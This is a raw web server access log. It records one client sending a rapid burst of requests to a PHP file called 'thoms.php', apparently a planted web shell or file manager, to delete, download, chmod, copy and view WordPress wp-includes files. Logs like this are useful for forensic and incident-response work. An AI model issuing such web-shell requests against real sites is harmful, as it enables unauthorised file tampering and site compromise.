45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?del=wp-diff.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?del=https-detection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?del=theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57931 "http://163.245.207.76:443/thoms.php?del=theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?chmod=css&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=css&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:06 -0400] "GET /thoms.php?del=error-protection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16311 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?chmod=category-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?dl=media.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57923 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?del=block-template-utils.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:07 -0400] "GET /thoms.php?dl=plugin.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57942 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12409 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13263 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57917 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57942 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fscript-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11828 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fscript-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 11969 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29314 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?del=IXR&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=IXR&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:08 -0400] "GET /thoms.php?dl=abilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?dl=canonical.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?del=class-wp-embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14896 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15601 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14032 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?chmod=rss-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12185 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?del=block-bindings&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12773 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18201 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?del=assets&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=assets&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20312 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:10 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57941 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-blogs.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-blogs.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12045 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcapabilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcapabilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?del=query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?del=query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:11 -0400] "GET /thoms.php?dl=block-template-utils.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?chmod=customize&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=customize&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?chmod=sodium_compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?del=sitemaps&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:12 -0400] "GET /thoms.php?chmod=canonical.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13294 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57892 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23907 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?dl=cache-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
